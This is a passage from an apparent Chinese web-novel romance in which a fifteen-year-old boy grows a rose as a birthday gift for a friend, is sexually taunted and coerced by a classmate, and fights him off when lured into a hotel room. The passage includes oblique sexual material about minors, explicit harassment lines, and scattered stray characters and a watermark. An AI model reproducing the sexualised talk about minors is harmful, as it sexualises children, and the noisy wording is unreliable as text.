“我最不喜欢的人,就是你了?。” “没有为什么,就是讨厌,觉得你很烦人,你也觉得我很烦吧?总是跟你吵架,但是因为长辈之间?认识,又一直在同一所学校,所以才相处这么久。” 他突然顿住,鼻子小?幅度地皱了?下。 对面的徐矿已经开始脱外套了?,没什么表情?,他来的时候穿了?长款羽绒服,那会进房间?的时候没来得及脱,这会儿?正好,先?是给郁书青肩膀上?的雪拍掉,然后才把带着自己体温的羽绒服披在对方?身上?。 郁书青没动?,抬头看他。 徐矿里面是件黑色高领毛衣,衬得少年身形修长,骨节漂亮,他被?劈头盖脸地骂了?一顿,但反而冷静下来,没有刚才在房间?里那么剑拔弩张。 “继续说啊。” 徐矿淡淡开口:“全部?说完。” 郁书青的鼻子又皱了?下,然后,打了?一个喷嚏。 再抬头的时候,眼圈红红的:“你之前明明也讨厌我吧,为什么不承认?” 徐矿摇头:“我没有,并且我们现在关系挺好的啊。” 他一边说,还弯下腰,给羽绒服的拉链扯着了?,这件本来就是长款,放在郁书青身上?格外大,几乎到小?腿肚的位置,徐矿突然有种冲动?,就是从后面把手伸进郁书青的胳膊下,直接给人抱起来,一定很好玩,或者等到雪更大的时候,让郁书青穿着跑过雪地,像只笨拙的小?企鹅。 拉链一直拉到最高点,领子竖起来,给郁书青下半张脸都埋里面了?,就露出俩大眼睛,睫毛乌润。 郁书青继续:“那是我故意的。” “我才不觉得你是什么哥哥,你没发现我是有目的的吗,我为了?让你干活而已。” 徐矿:“哦。” “什么哥哥,”郁书青不管不顾地继续,“你像个傻瓜一样,不,傻狗。” 徐矿伸手,再次拍去他肩膀的雪:“冷吗,要不要回屋再说?” “不要。” 郁书青瞪他,很凶的样子:“我在骂你!” “我知道啊,”徐矿很轻松地笑?起来,“我这么厉害,能让你气成这个样子,肯定有一大堆的话?要骂,在这里带着多冷,要感冒的,回屋你慢慢骂怎么样,我给你倒水,煮点姜茶?” 郁书青像是被?噎住,使劲儿?伸手推了?下徐矿:“讨厌死你了?!” 徐矿反手抓住他的手腕,挑起眉梢:“哬,小?玩意还真有劲,来来来,有本事给我推倒,看我今天碰瓷不碰瓷就完了?。” 他俩在后院已经拉扯好几分钟了?,雪变得很安静,在徐矿的头发和?睫毛上?都凝成剔透的冰,后院按照郁为民的喜好,种的全是经冬不凋的松柏和?梅花,已经有小?小?的花骨朵攒在枝头,散着很淡的香。 郁书青使劲往回抽手,没抽动?。 “走吧,”徐矿还在笑?,“回屋再骂,我听着……你要是想让我陪你吵几句也成,就是别急眼了?打人,毕竟你这小?嘴笨的,吵不过我,打也打不过我,哎呀我这当哥哥的还是得让着你……” 郁书青浑身都在用力?,脸憋得通红:“你没听到吗,我讨厌你,我讨厌死你了?!” “嗯嗯,听到了?,两只耳朵都听到了?。” “那、那你还……” 郁书青话?没说完,就凝固住两秒,打了?一个喷嚏。 “再待下去真要感冒了?,”徐矿松手,转而去摸郁书青的脸,想看看别万一发烧了?,“流鼻涕了?没,我给你擦……” 指尖还没碰到脸颊,就被?打开了?。 郁书青气得跺脚:“你是傻瓜吗,不知道我讨厌你?” “呵,讨厌我的人多了?去,那又怎么了??” 徐矿很无所谓的样子:“郁小?咪,你今天不行啊,翻来覆去的就是这一句,能不能有点新意,要不要我教你啊?” 他顺手捋了?把头发,很洒脱的模样,把上?面散着的雪花拍下去:“这鬼天气还真……唔!” 郁书青,突然扑进他的怀里。 徐矿下意识地展开双臂,伸手接了?个满怀。 柔软的发丝碰到鼻尖,是淡淡的果?香味,爷爷奶奶就带这么一个孙辈,都十五岁了?还当成小?孩看,买的沐浴露都是儿?童水果?味,在冰天雪地中格外清晰,像是水蜜桃的味道,很甜。 徐矿心?软,拍了?拍对方?的后背:“好了?,都是我不好……” 下一秒,他疼得倒抽一口凉气。 郁书青狠狠地咬在他的肩膀上?,没留一丝情?面,仇人见面也不过如此?,徐矿实在没脾气了?,抓着郁书青的胳膊:“松开!” 可被?咬的更狠。 一定破皮了?,流血了?,薄薄的毛衣隔不开彼此?,郁书青几乎下了?死命地咬,该是有多大的委屈,他俩之前不是没打过架,最多别着胳膊给人按墙上?,十几岁的男生比划都是这几招,最后再逼着对方?叫爸爸——徐矿没这样对过郁书青,他知道郁书青脸皮薄,欺负起来不好过火的。 徐矿咬牙切齿,低吼道:“你属狗的吗?” 可郁书青一声不吭。 大半个肩膀疼得都开始发麻,徐矿摆脱不了?人,又舍不得真的对郁书青动?手,心?里怪委屈的,有点想哭。 干嘛这样凶啊。 他都要走了?,还不肯给自己好脸色。 居然说之前叫哥哥,都是故意逗他的。 哪怕徐矿自己心?里清楚,这样直截了?当地说出口,还是怪难受。 他伸手去推郁书青的脸:“你再这样我就——” 坏了?。 徐矿心?里一咯噔。 摸了?一手的湿凉。 郁书青这才停下,垂着睫毛往后退,满脸都是泪。 徐矿吓得眼泪都憋回去了?,完全顾不得自己肩膀的伤:“你怎么了?,怎么哭了?……你还真的哭了?啊?” 他都没哭呢! 郁书青没什么表情?,几缕额发湿漉漉地黏在脸上?,眼尾红得要命。 那天晚上?,徐矿最后的记忆就是,对方?把羽绒服脱了?还给他,就掉过头,一步步地走回屋内。 什么话?都没说。 肩上?,落满了?雪- “……都忘了?吗?” 徐矿还拉着郁书青的手,放在自己心?窝的位置:“很小?一件事,但我真的不明白你为什么会生气。” 他问过很多人,也向郁书青道歉,可一无所获。 “被?讨厌了?啊。” 徐矿的笑?声有些无奈:“我脾气也不好,上?头了?,就跟着生气,不过讲真,那时候我真的很讨厌你,觉得你莫名其妙的。” “后来想想,最大的原因可能就是,你的确讨厌我,也不想忍,不想装了?吧。” 身边的好友都知道,他俩闹翻了?。 也知道徐矿很烦郁书青。 “矫情?,事儿?多,”他把玩着郁书青的手指,一根根地数着,“只喜欢我的脸,拿我当暖床的,还不肯说实话?……” 郁书青坐在他的怀里,表情?怔然:“因为一个笔记本?” “嗯,”徐矿点头,“肯定还有别的原因,但是我真的不知道了?……你想起来了?吗?” 郁书青坐了?起来,眼里的困意和?疲倦没了?:“我记得那个本子。” 他说着就跳下床,去往自己的书房,徐矿也跟在后面,看着对方?轻车熟路地从红木书柜下,拿出一个很大的纸箱。 很干净,但是旧了?,上?面贴着胶带,一看就知道很多年没有打开。 郁书青坐在地上?,撕开胶带,在里面找了?会,掏出一个浅灰色的笔记本。 徐矿走过去,跟着坐下:“啊,就是这个。” 他小?小?地抱怨:“是什么啊,也没有字,就是些贴画。” 郁书青突兀开口:“我记得。” 他翻开泛黄的页面,看着上?面那幅图,是手工黏贴上?去的照片,曝光过度了?,时间?又太久,已经变色泛旧,都快看不清楚原本的颜色,只能辨认出,是什么植物。 养得不怎么样,叶子稀拉拉的。 “我那时候,种了?一株玫瑰。” “玫瑰应该是春天种的,可那年应该是快冬天的时候?” “反正我记得,从种子到抽芽……具体时间?我忘了?,但是浸泡种子,看它慢慢发芽长大,园艺老师告诉我当年就可以开花的,我就用相机把过程拍下了?。” 他仰脸,看向徐矿的眼睛。 “我亲手种了?一株玫瑰。” “所以这上?面的图,是它在慢慢长大,开花。” 第58章 第 58 章 郁书青记得?那株玫瑰。 非常神奇, 他?有时候做梦也会梦见这件事,一个红色的粗瓷花盆里,他?种下了玫瑰的种子?, 抽芽, 生长, 再冒出一朵小小的花。 他?不太会伺候这些东西, 郁书青长得?漂亮,这张脸很有欺骗性, 得?益于他?精致的五官和白皙的皮肤, 谁看?了都会觉得?, 他?是那种追求完美, 追求生活品质的性格,其?实,郁书青把全部的心思都放在学习和工作上, 生活中的他?, 过得?挺糙的。 尤其?是一个人住之后?。 以前还没搬出来, 家里有阿姨照顾, 他?晚上会和大咪一起睡觉, 当夜幕升起,大咪就躺在脚边的位置,发出均匀的呼噜声,郁书青不失眠, 偶尔翻身的时候, 能?感觉到被子?上沉甸甸的重量。 除了大咪之外,郁书青没有养过别的东西了。 更何况是一株玫瑰花呢? 多娇嫩啊, 风吹不得?雨淋不得?的,郁书青没有信心能?养活, 更何况还要等?着开花。 所以,那株玫瑰,就像是奇迹。 而最不可?思议的是,后?来有老师告诉过他?,家养玫瑰很多都是扦插种植,大概两个月就能?开花,而用种子?播种的话,会相?对来说慢一点?,可?能?需要一到两年?的时间。 郁书青很肯定地摇头,说没有,他?只用了短短的一个月,就亲眼看?到种子?萌出芽,最终开了一朵红色的玫瑰花。 他?用相?机拍照,记录了下来。 郁书青准备了一个笔记本,把照片贴在上面,他?在艺术方面审美一般,手也挺笨的,要是照片曝光过度,或者找的角度不好,拍出来不怎么好看?的话,就干脆用铅笔画下来。 从?秋天到冬天,玫瑰真的慢慢长大了。 做梦一样。 那天清晨,郁书青揉着眼睛起床,看?到窗台上的那株玫瑰,擎着小小的花苞。 他?立马睁大眼睛,心跳得?很快。 太好了,赶上了。 郁书青从?学期初就听说,徐矿要出国走的,最开始他?还想恶心一下对方,叫了几次哥哥,没想到徐矿不仅没有一脸嫌弃,反而耳朵尖都冒着红。 这和说好的不一样啊。 郁书青有点?懵。 他?抱着恶作剧的心态,仰着脸叫徐矿,故意撒娇。 “哥哥,中午我?想吃学校外面的米线。” “我?作业写?不完了。” “你要和他?们打游戏吗,真可?惜,最近有一部电影……” 曾经和自己剑拔弩张,一言不合就干架的徐矿,像是变了个人,明明都高兴又臭屁到翘尾巴了,还要故意压着嗓子?:“真麻烦,我?勉强听你的吧——” 郁书青觉得?,有趣极了。 他?们之间达成了一种奇妙的平衡。 甚至某些安静的时刻,郁书青会恍惚觉得?,彼此真的像很好的朋友,他?爷爷奶奶都欢迎徐矿的到来,说去楼上和小咪玩吧,让他?多出来晒晒太阳,别老是蹲在屋子?里。 徐矿就说好。 但徐矿不催他?晒太阳。 他?会陪着他?,做手工,用弯曲的铁丝做成各式的动物,鸽子?,小猫,有一次做的时候还笑起来,说郁小咪,你看?这个像不像你,一头小野猪。 郁书青后?知后?觉地发现,徐矿的手,真的很巧。 闹腾累了,徐矿才推着郁书青的肩,带着人往外走,说来吧,陪大咪出去晒晒太阳,外头暖和,你也一块啊。 回来后?,他?在书桌旁做作业,徐矿自个儿画画玩,寥寥几笔,就能?描摹出惟妙惟肖的神态,尤其?是画猫,徐矿那个时候画了很多的大咪,睡着的,打滚的,很慢地吃罐头的,大咪太老了,胡子?都掉了好多,郁书青偶尔在床上捡到,就收集进自己的小铁盒里,别的内容,徐矿画完就随手揉吧一团扔掉,只有大咪,他?会认真地送给郁书青。 都知道?,大咪可?能?活不了多久了。 而郁书青也知道?,徐矿很快就要走了,可?能?是冬天,可?能?就在徐矿生日后?的几天。 他?决定看?在两人相?处不错的份上,送徐矿一份礼物。 “你想要什么?” 深秋午后?,郁书青揉着眼睛坐起来,他?俩聊天呢,不知不觉间睡着了,醒来的时候随口问了句,看?徐矿最近喜欢什么,他?好提前做准备。 “要自由!” “有病吧你,”郁书青吐槽,“你还不够自由吗,你就差把天都给捅出窟窿了。” 在郁书青心目中,徐矿就像一阵无拘无束的风,什么都无法阻拦他?的踪迹,因为没有人能?禁锢他?,即使是父母,也是微笑地站在身后?,想要给他?托举更高,而不是用网来试图捕捉。 徐矿也刚醒来,睡眼惺忪的模样:“那,你想要什么?” “我??” 郁书青愣了下:“我?没想好。” “是不是在给我?想生日礼物呢,哎呀,早着呢,不用这么早就准备的,不然多不好意思呀!” “自恋!谁给你准备礼物!” 郁书青气鼓鼓地扯过被子?:“我?就随口问一句……不说拉倒。” 徐矿拽着被子?不给他?,两人拉拉扯扯了好一会儿,徐矿才笑着来一句:“我想要花。” “花?” “嗯。” “简单,”郁书青随口道?,“我?去院子?里给你摘两朵。” 徐矿坐起来:“不是的,我?想要那种……就是完完全全属于我?的一朵花。” 他?垂着睫毛,把枕头抱进怀里,表情认真。 “我?想要自己的一朵花。” 剩下的,郁书青再问,徐矿已经不肯回答了,这人虽然外表嘻嘻哈哈,一副体?育生的模样,整日里嚣张又跋扈,但这些天的相?处,郁书青已经发现,徐矿的内心其?实很细腻。 并且喜欢艺术类的东西。 什么想要一朵花,郁书青琢磨了好几天也没想出来,只觉得?非主流。 但人家都要走啦。 有次回家路上,郁书青在路边遇到了个卖花的老奶奶,一个铁皮桶里装满了鲜花,全是红色的玫瑰,灼了郁书青的眼睛,他?“哇”了一声,蹲下,满心都被玫瑰所占据。 实在太美了,也很适合徐矿。 郁书青没有买花,他?买来了花的种子?。 很认真地栽下,浇水,看?玫瑰一点?点?发芽。 他?和徐矿的关系也越来越好,甚至下雨的时候,徐矿会背着他?穿过冰凉的水洼,他?举着伞,艰难地阻挡着呼啸的风,徐矿就在下面嗷嗷叫,说你要戳着我?的眼睛了! 嘴上这样说,双手却还要把他?往上托一托。 十五岁的郁书青,还没来得?及喜欢自己,就喜欢上了和徐矿相?处的日常。 他?很少这样平和过。 那盆玫瑰放在卧室里,徐矿来的时候,郁书青还要赶紧搬出去,怕被对方发现。 后?来想想也可?笑,他?养花的技巧太一般了,又不肯假手他?人,叶子?稀稀拉拉,一副半死不活的模样,能?活下来就不容易了,谁都认不出来这是株玫瑰。 秋天悄然离开,冬天来得?好快,郁书青身上的衣服越来越厚重,出门前,他?要系上围巾,有时候也要戴帽子?,司机只能?给他?放在学校门口,走到教学楼,还有好长一段距离。 徐矿会突然从?后?面出现,用手捂他?的耳朵。 “这么凉!” 郁书青笑着躲开:“你手也很凉。” “谁说的,”徐矿不乐意,“我?可?是搓热了才摸你的!” 他?俩的教室在楼上楼下,从?校门口走进去到班级,大概需要四五分钟的时间。 四五分钟够干什么呢? 够徐矿把买好的早饭给郁书青。 牛奶瓶是热的,包子?是牛肉粉条馅的,豆沙饼是甜的。 郁书青爱睡懒觉,起的晚,以前都是随便拿个面包垫吧了,家里的阿姨给他?做过早饭,也整理过便当,但是嫌麻烦,觉得?没必要。 徐矿却觉得?,早饭很有必要。 除了早饭的交接之外,还够徐矿和他?小小地拌嘴——虽然关系缓和了,但俩人还是忍不住地你来我?往,互相?呛几句,呛到最后?都笑了,在楼梯转角的地方挥手,说再见。 郁书青度过了愉快的一天。 第二天早上,玫瑰开花了。 郁书青用相?机拍了下来,认真地贴在笔记本上,每一张照片背后?都有日期,他?决定把本子?连同那株玫瑰一起,送给徐矿。 虽然徐矿很快就要走了,不过没关系。 他?春天就会回来。 郁书青和徐矿约定过,要一起去北欧看?极光,看?这究竟是不是滤镜调出来的颜色,能?否真的可?以躺在雪地上,用眼睛看?到漫天绚烂。 可?能?是太开心了,走的时候,他?把笔记本忘在了徐矿家里。 没关系,郁书青发现的时候没多想,那个本来就是要给徐矿的。 但不知为什么,那天晚上,他?失眠了。 翻来覆去睡不着,脑海里莫名其?妙地想,徐矿会喜欢吗,他?会发现上面的贴画和照片的含义吗? 那是自己种出来的,完全属于徐矿的一朵花。 不知为什么,郁书青有点?脸热。 都到了凌晨,他?蹭地一下坐起来,怀里抱着枕头,小动物似的呜咽了一声—— “呜……” 后?悔,干嘛要送玫瑰呢? 怎么感觉,有点?暧昧。 十五岁的年?龄,班里已经有早恋的苗头了,有同学脸红心跳地跑回来,说在小树林看?到两个高二的在接吻,他?们簇到一堆,又很快散开,像是分享了一个令人害臊的秘密。 有人的喉结还不明显,刚进入变声期,有的身形已经接近成人,每天早上都要刮胡子?,他?们迫不及待地长大,对于恋爱充满好奇,不仅是异性之间,也有传言说校长那天开会的时候发火,是因为看?到了一对亲嘴的情侣。 是两个男孩子?。 黑夜中,郁书青把脸埋在枕头上,心跳得?很快。 他?突然想起有次,一节生物课后?,旁边同学的对话。 “喂,你什么时候那个的?” “哪个?” “就是……做那种梦,然后?爬起来洗床单呗。” “靠,讲这个干什么?” “哈哈,你不会还没有吧!” 郁书青在班里比较冷淡,能?聊得?来的朋友不多,旁人也不太会问他?这些问题,但是可?能?太兴奋了,两人声音大,对话清晰地传来。 “当然有,我?还有片儿呢。” “真恶心,不和大家一块分享!” “喂,你们做梦的时候,会梦见谁呢?” 当时的郁书青,站起来走了。 旁边的同学很懊悔,低声埋怨:“算了,别在班里说这个,不太合适。” 其?实,郁书青也做过这种梦,还是不久之前。 和大部分少年?从?夜里惊醒不同,他?是在午后?。 在徐矿旁边。 两人别着劲儿在床上闹腾,你压着我?的腿,我?别住你的胳膊,谁也不服谁,徐矿不跟他?动手,就是压制住不让他?乱动,郁书青挣扎不出来,只得?愤然低头。 “我?错了,你快放开!” 徐矿反剪着他?的双手,居高临下:“叫哥。” “……哥。” “叫哥哥。” “不要,有点?恶心。” 身后?传来低低的笑声,温热的气息扑在耳畔:“怎么恶心了,我?挺喜欢的。” 毫不夸张,当时的郁书青瞬间头皮发麻,本能?地瑟缩了下。 ……是一种很奇怪的感觉。 徐矿倒是没再继续欺负他?,已经到了睡午觉的时间了,他?大喇喇地往床上一躺,就扯过被子?:“困死了。” 和有着良好作息的郁书青相?比,徐矿有时候爱熬夜,这会儿更是呵欠连连。 “去客房睡,”郁书青踢他?,“别占我?的床。” 徐矿翻了个身:“不要。” 男孩子?困的时候,躺一张床上睡觉没啥,更何况他?俩从?小就认识,说不定彼此襁褓时,就被放在过一张婴儿床上,供父母在旁边拍照,这段时间关系缓和,徐矿偶尔也会留宿。 郁书青懒得?再搭理,跟着躺下了。 很奇怪,他?做了一个梦。 梦见自己睡在花丛里,周围全是美到失语的玫瑰,红的,花瓣柔和得?像丝绒,有小蜜蜂和蜻蜓围着他?,微风拂来,郁书青幸福到想要打滚。 可?是,花枝有刺。 扎痛了他?的手腕,传来细密的疼。 是徐矿握过的地方。 他?不舒服地哼了几声,在床上翻来覆去,旁边的徐矿似乎也被吵醒,迷迷糊糊地伸手,去拍他?的背,可?郁书青更难受了,额上浮了薄薄的汗,不由自主地蹭着被子?—— 惊醒后?,郁书青喘了好一会,才意识刚才发生了什么。 想死。 还好,徐矿没有醒来,睡得?那叫一个香,胳膊还搭在他?的腿上。 郁书青小心翼翼地给徐矿挪开,用湿巾擦拭后?,又拿棉柔巾使劲儿搓,徐矿还在睡着呢,没法儿拿去洗,更没法儿让人家知道?。 要是被徐矿发现了,郁书青一定会杀人灭口。 ……太丢脸了。 所以现在,深夜里突兀地想起这件事,郁书青的脸都要烫红了,不仅是脸,还有耳朵,他?拿微凉的手背去贴,自言自语:“我?在干什么啊……” 徐矿会多想吗? 如果别人知道?,郁书青为徐矿种了一株玫瑰,会怎么想? 都怪徐矿! 好好的,干嘛说自己想要一朵花。 神经病,非主流! 郁书青嘟嘟囔囔地骂了会,枕头早就丢到一边了,他?坐在床上,抱着自己的膝盖,有些小小的伤心。 说不上来,可?真的好难过。 心脏仿佛被灌上了胶水,黏糊糊的,这种感觉太陌生,他?真的不知道?该怎么办,去问谁。 在爷爷奶奶面前,郁书青习惯当一个省事的小孩了。 他?不愿意给他?们添任何麻烦。 甚至家里的阿姨还开玩笑,说小咪这么听话,将?来要是急着抱孙子?,你是不是立马就去娶媳妇了呀? 夜色很深,可?能?都到凌晨两点?钟了,郁书青还是抱着双膝,看?着窗外发呆。 满腔的少年?心事,似乎只能?去问徐矿了。 偏偏这些心事,全都因他?而起。 “唔……” 郁书青又把脸埋在膝盖上了。 徐矿的年?龄比他?大,长得?比他?高,很有力气,做事的时候完全不怕失败,总能?成功,他?仿佛生来就是人群中的聚焦点?,天性如此,洒脱张扬,小时候的郁书青,是真的很讨厌徐矿,讨厌幸福这个词。 可?现在的他?,已经不讨厌徐矿了。 他?发现,徐矿也有缺点?,会睡懒觉,走路不注意就撞到腿,痛得?嗷嗷叫,徐矿的肌肉已经很漂亮了,能?单手给他?扛起来,徐矿背着他?的时候脚步很稳,徐矿—— 郁书青猛地抬头,惊出一身冷汗。 天,他?在干什么? 他?在想徐矿! 第二天早上,郁书青不出意料地睡过头,睁眼的时候给徐矿发信息,说不用给自己带早饭了。 发完后?,他?就烫手似的把手机丢到旁边。 一直捱到十点?多钟,他?才鼓起勇气,磨磨蹭蹭地准备上学。 爷爷奶奶对他?的学业没有任何要求,快乐就好,最近家里的公?司也很忙碌,爷爷经常早出晚归,几乎说不上几句话。 车辆在学校门口停下,郁书青下车,搓了搓自己的脸。 不行,还是很冷。 要下雪了。 他?很慢地朝教学楼走去,穿过松柏,穿过上体?育课的班级,一步步地走上台阶,走进一道?阴影里。 有人站在转角处,挡住了他?的去路。 郁书青抬头,是个高大的男生,他?认得?,和徐矿关系还可?以,叫高元,还开过他?俩的玩笑。 “喂!” 高元笑呵呵的,突兀开口:“你喜欢徐矿的事,他?知道?吗?” 阳光在台阶上折射出形状,一半明亮到能?显出空气中的尘埃,另一半则无比黯淡,看?不清彼此脸上的表情。 郁书青没有回答,继续向上走去。 “怎么,”高元单手靠在栏杆上,“徐矿都要走了,你才表白啊。” 郁书青站住了,平静地看?着他?:“滚。” “我?说哥们,” 高元丝毫不让:“你都给人送玫瑰花了,心思藏都藏不住,干嘛还装得?这么冰清玉洁……不过这样吧,我?有个秘密你想不想听?” 郁书青把书包往上提了下,扭头就走。 “喂,这就跑了?” 高元几步跳下台阶:“郁书青,这可?不像你的风格啊!” 他?一把扯住郁书青的胳膊,几乎就在瞬间,高元痛苦地叫了一声,后?退半步,捂住自己的肚子?。 “靠,你打我?!” 他?们在侧面的楼道?这里,平日里经过的人也少,又是上课期间,郁书青刚抬腿踹了人,这会不想多废话,可?是高元仍然追了上来。 “你难道?不想知道?,徐矿喜欢谁吗?” 他?的声音黏糊糊的。 “你亲我?一口,我?就告诉你。” 郁书青恶心坏了,想也不想地把书包甩了过去,这下,高元早有准备地躲过,重新挡在他?的面前。 “你慌什么,在笔记本上画玫瑰花的时候,怎么不慌了?” 郁书青的心突突直跳,想起扉页的字——“送给徐矿,祝你生日快乐,天天开心。” 他?凶狠地瞪过去,咬牙道?:“那就是个生日礼物!” 高元耸肩:“我?知道?啊,但我?可?没听说过,男生之间送玫瑰花的……喂,你确定,不想知道?徐矿喜欢谁吗?” 他?再次凑近,声音压得?很低。 “你是真的不想知道?,他?是怎么一边叫着你的名字,一边打-飞机吗?” “还是不想知道?,他?是怎么把东西,抹到你的照片里……你的脸上吗?” 郁书青僵在原地。 高元的视线落在他?唇上,又下移。 “徐矿可?是告诉过我?们,不仅仅是这里,你的腰上,也有一颗痣。” “他?说,早晚有一天把你追到手,让你哭着求他?草-你。” 说完,高元就直起身子?,满意地看?着郁书青苍白的脸。 真漂亮。 “没关系,”高元吞咽了下,努力隐藏自己声音里的恶意,“这些话你早晚会知道?,我?不过是……” “你脑子?没问题吗?” 郁书青突然笑了:“你觉得?说这些,我?就会信吗?” “我?们从?小就认识,一块儿长大,一张床上睡过觉,我?不管你脑子?里的念头有多龌龊,你这些谣言又是从?哪儿来的,但我?告诉你,休想用这几句话就让我?相?信。” 他?眼睛眯着,语速很快:“嘴皮子?一张,谁不会说?我?还说前几天看?见你在吃屎,别不信啊!” 高元愣了,表情很难看?:“你在说什么,放屁!粗俗!” 郁书青突然笑了:“这还粗俗啊,有你这张脸粗俗吗,真恶心。” 他?厌恶地转身—— “傻逼,滚。” 第59章 第 59 章 “呼、呼……” 郁书?青飞快地骑着自行?车, 长长的围巾松开,只剩半拉挂在脖子里,被风刮得飘起很高。 他没有上学, 没有回家。 而是骑着自行?车去往郊区的墓地, 想要在雪落下之前, 去看?一看?爸爸妈妈。 骑得很快, 有小石子被车轮碾过?森*晚*整*理,飞溅到?他的脸颊上, 不疼, 郁书?青的脸已经被吹木了?, 额上全是汗, 他感觉自己?的肺像是个逐渐变大的气?球,随时都可能?突然爆炸,所以必须要使?劲儿呼气?, 才能?缓解那发疼的胸腔。 真好, 骑车的时候, 脑子里什么都不用想。 就是可惜冬天了?, 路边荒芜一片, 他两手空空地去见爸爸妈妈,总归惭愧。 苍穹辽阔无边,他把自行?车停靠在路边,弯腰, 双手按在膝盖上。 过?了?会儿, 郁书?青站直身子,用胳膊擦了?擦脸。 没有花, 他就捡了?些白色的小石头,拿去给爸爸妈妈看?。 “该怎么办啊……” 他拂过?墓碑上的灰尘, 把照片擦拭干净,两个年轻人都在微笑,目光温柔地看?着自己?的儿子。 “以前爷爷说过?,只要我听话,你们就会回来。” 郁书?青坐在地上,手里握着一把小石头:“可是我听话了?,我从来不闹事,什么都争第一。” 小石头捏不动,硌得掌心疼。 “我不知道要问谁,和谁说,”郁书?青抽了?下鼻子,“我没有朋友,只有一个徐矿……可是现在,不知道该怎么办才好了?。” 郁书?青不可能?因为别人的几句话,就对徐矿有什么成见。 他不会轻信。 可是,为什么会这么难过?,心跳得这么快,明明说出难听话,故意?造谣的是别人,为什么他却?开始嫌恶自己?? 那个时候的郁书?青,是真的不喜欢自己?。 他喃喃道:“我好羡慕徐矿啊……” 没有人回答他,只有风的声音,把旁边的松柏吹出海浪般的声响。 郁书?青把石头捏来捏去,眼眸里满是无措,可还是没有勇气?说出今天真正的问题。 徐矿……喜欢自己?? 不行?的。 徐矿不能?喜欢他。 他也不可以喜欢徐矿。 郁书?青在墓地坐了?很久,回到?家的时候,已经快到?傍晚,他带着满身的风霜关上卧室门?,阿姨问他要不要吃完饭,说奶奶炖了?鸡汤,其实无论是爷爷还是奶奶,都很惯着他,只要郁书?青张口,几乎不会拒绝。 也从来不会批评他。 他们非常满意?,培养了?一个这么完美的孙子。 “不用了?,”郁书?青靠在门?框上,努力让自己?语调轻松,“我在学校吃过?了?。” 等到?二楼恢复寂静,他就从抽屉里拿出面包,坐在角落里捏。 没有发出任何声响。 他喝很多的水,涩疼的嗓子很快恢复,搁在桌面的手机亮起又熄灭,屋内陷入黑暗,好一会,郁书?青才从地上爬起来,拿起手机。 徐矿的电话正好打来。 “小咪,你怎么今天没来学校啊?” “哦……”郁书?青吞咽了?下,努力压住嗓音里的哑,“我没事,今天稍微有点不舒服,迟到?一会。” 徐矿倒是不疑有他,叮嘱几句后,就挂了?电话。 卧室里重新失去光线。 郁书?青把手机倒扣在地上,沉默着掏出被捏扁的面包,慢慢放进嘴里。 第二天,他们照常见面,徐矿把笔记本还给了?他。 虽然很生?气?,觉得徐矿可能?没发现本子里的内容,随手就给别人看?了?,但郁书?青没多说什么,平静接过?。 他不信高元的话,但也不代表就捂住耳朵当?鸵鸟,这事不可以轻易揭过?,郁书?青从小就倔,认定的事无论如何都要得到?答案,所以,他要亲自去找。 好几天都是浓云密布,说马上要降大雪。 “……这下总该相信了?吧?” 高元抱着胳膊,表情不忿地靠在墙壁上:“还是说,你认不出徐矿的字?” 这会儿是午休时间,学校实验楼里空无一人,走廊尽头的教室外,郁书?青低头,怔然地看?着手中的作业本。 封皮上龙飞凤舞地写着主人的名字,徐矿字很漂亮,银钩铁画,着实潇洒,在这一帮没练字习惯的高中生?里,可谓鹤立鸡群,一眼就能?认得出来。 前面都是数学题,有老师的批语,而翻到?后页—— 郁书?青身体凝固,耳尖悄然红了?。 整整三四页,全是郁书?青的名字。 一笔一划,认认真真,没有任何心理准备地翻开,着实受到?冲击。 足足安静了?好几秒,他才阖上本子,表情风轻云淡,“那又怎么样,这人神经病,有时候就喜欢练字……” 高元嗤之以鼻:“你练字会写朋友的名字,还是男的?” 最后这几个字被他拉长音,像是带着恨意?的咀嚼,他还保持着靠在墙壁的姿势:“说啊,你会把男人的名字写在作业本上吗?” 郁书?青沉默着。 “他在追你啊,难道都没有发现?” “还是说,你也在享受他对你的好,却?不肯承担义?务?” “郁书?青,你到?底是同?性恋吗,你敢不敢说,你对徐矿没有一点想法?” 高元咄咄逼人一通,语速也越来越快,可是面前的人依然没什么反应,垂着睫毛,像是在静静思索,他有些着急地凑过?去:“喂,你吱一声啊!” “不关你的事,” 郁书?青后退:“我俩之间再怎么样,都跟你没关系,你也不要来找我了?。” 他本能?地觉察到?危险,尤其是高元这个人,郁书?青并不了?解,只知道对方家庭条件不错,和徐矿算是一个朋友圈里,关系挺好。 所以……为什么要故意?说这些话? “徐矿就要走了?,”高元跟在后面,两手插兜,“没几天的事了?。” 实验楼好空寂,只能?听到?两人的脚步声。 “喂,我和你说话听见没?” 高元不满地“啧”了?一声,快走几步挡在郁书?青面前:“你是不是也在好奇,我为什么要跟你说这个?” 郁书?青没给他一个眼神,侧过?身子,继续往前。 “那是因为,你俩都那样了?,你居然还认为是纯友谊,真是不开窍……所以,我来教教你怎么样?” “啪!” 郁书?青甩开对方伸来的手,有了?怒意?:“你找死?” 高元盯着郁书?青的脸,表情阴沉,舌头顶了?下自己?的腮。 “这样吧,看?在同?学一场的份上,我再告诉你最后一个秘密。” “明天徐矿的生?日宴上,他要当?众对你表白。” 他嗤笑一声。 “郁书?青,你敢去吗?” 徐矿曾经说过?,大家都很容易被郁书?青的外表迷惑,觉得这么乖的小孩,长了?张漂亮的脸蛋,一定像香甜的小蛋糕似的。 “那是你们没挨过?他的打!” 徐矿愤然道:“他好凶的,又莽撞,什么都敢干!” 那么,郁书?青当?然敢去徐矿的生?日宴。 他准备了?另外的礼物,去往那处酒店,司机打开车门?,郁书?青看?了?眼时间——还好,只是稍微迟到?了?一小会,他不打算久待,更不想参与什么唱歌和游戏。 郁书?青对艺术和玩乐类的东西,没什么兴趣。 电梯上行?,他做了?个深呼吸。 那就把一切都说清楚吧,不要搞什么误会,什么猜测,徐矿马上就要离开了?,他不想给彼此?留下别扭的遗憾。 走廊里是淡淡的香水味,郁书?青踩着柔软的地毯,顺着工作人员的指引往前走。 “小少爷在这里等您呢,有话跟您说。” 郁书?青“啊”了?一声,才发现,自己?居然有些紧张。 没有去往酒店大堂和包间,而是被带到?了?尽头的一处房间,门?开着,郁书?青走进去后却?发现,里面空无一人。 他试探着开口:“徐矿?” 无人应答。 屋里没开灯,窗帘拉得严丝合缝,只能?依稀辨认出里面的布局,郁书?青朝前走了?两步,像是准备要开灯,而另只手,则快速拎起置物柜上的花瓶—— “砰!” 伴随着惨叫,玻璃在地上四散碎裂,折射出细钻般的光。 门?后的高元捂住额头,不可置信地喘着气?。 